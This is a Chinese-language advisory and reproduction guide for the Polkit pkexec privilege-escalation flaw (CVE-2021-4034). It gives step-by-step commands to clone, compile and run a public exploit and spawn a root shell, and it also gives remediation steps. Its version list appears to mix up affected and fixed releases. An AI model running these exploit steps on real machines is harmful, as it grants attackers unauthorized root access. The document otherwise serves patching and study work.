0x01 漏洞介绍
- Polkit(以前称为 PolicyKit)是一个用于在类 Unix 操作系统中控制系统范围权限的组件。
- 它为非特权进程与特权进程通信提供了一种有组织的方式。
- 也可以使用 polkit 执行具有提升权限的命令,使用命令 pkexec 后跟要执行的命令(具有 root 权限)。
- polkit 的 pkexec application存在缓冲区错误漏洞,攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。
- 成功执行攻击后,如果目标计算机上没有权限的用户拥有管理权限,攻击可能会导致本地权限升级。
0x02 影响版本
CentOS:
· CentOS 6:polkit-0.96-11.el6_10.2
· CentOS 7:polkit-0.112-26.el7_9.1
· CentOS 8.0:polkit-0.115-13.el8_5.1
· CentOS 8.2:polkit-0.115-11.el8_2.2
· CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
· Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
· Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
· Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
· Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
· Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
· :policykit-1 0.105-18+deb9u2
· Debain stretch:policykit-1 0.105-18+deb9u2
· Debain buster:policykit-1 0.105-25+deb10u1
· Debain bullseye:policykit-1 0.105-31+deb11u1
· Debain bookworm,bullseye:policykit-1 0.105-31.1
0x03 漏洞编号
- CNNVD编号:CNNVD-202201-2343
- 危害等级: 高危
- CVE编号: CVE-2021-4034
- 漏洞类型: 缓冲区错误
- 发布时间: 2022-01-25
- 威胁类型: 本地
0x04 漏洞查询
http://123.124.177.30/web/xxk/ldxqById.tag?CNNVD=CNNVD-202201-2343
0x05 漏洞环境
查看版本
lsb_release -a
poc
https://github.com/berdav/CVE-2021-4034
0x06 漏洞复现
第一步 下载poc,并且进行编译
git clone https://github.com/berdav/CVE-2021-4034.git
make
第二步 kali 开启web
python3 -m http.server
第二步 执行文件
chmod +x cve-2021-4034
./cve-2021-4034
python -c 'import pty;pty.spawn("/bin/bash")'
复现案例,一般情况下,在获取服务器权限之后,直接进行远程下载编译好的文件,进行执行
https://moments.blog.csdn.net/article/details/129870664?spm=1001.2014.3001.5502
0x07 修复建议
1、无法升级软件修复包的,可使用以下命令删除pkexec的SUID-bit权限来规避漏洞风险:
chmod 0755 /usr/bin/pkexec
示例:
# ll /usr/bin/pkexec
-rwsr-xr-x 1 root root /usr/bin/pkexec
# chmod 0755 /usr/bin/pkexec
# ll /usr/bin/pkexec
-rwxr-xr-x 1 root root /usr/bin/pkexec
执行前权限一般为-rwsr-xr-x ,删除SUID-bit权限后一般为-rwxr-xr-x
2、CentOS 7的用户可通过yum update polkit升级修复(云安全中心Linux软件漏洞已支持检测修复),Centos 5、6、8官方已终止生命周期 (EOL)维护,建议停止使用;
3、RedHat用户建议联系红帽官方获取安全修复源后执行yum update polkit升级修复(云安全中心Linux软件漏洞已支持检测修复);
4、Alibaba Cloud Linux的用户可通过yum update polkit升级修复(云安全中心Linux软件漏洞已支持检测修复);
5、Anolis OS(龙蜥)的用户可通过yum update polkit升级修复(云安全中心Linux软件漏洞已支持检测修复);
6、Ubuntu 18.04 LTS、Ubuntu 20.04 LTS的用户可通过apt update policykit-1升级修复,Ubuntu 14.04、16.04、12.04官方已终止生命周期 (EOL)维护,修复需要额外付费购买Ubuntu ESM(扩展安全维护)服务,建议停止使用;
7、其他Linux发行版操作系统OS建议联系官方寻求软件包修复源。
0x08 免责声明
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!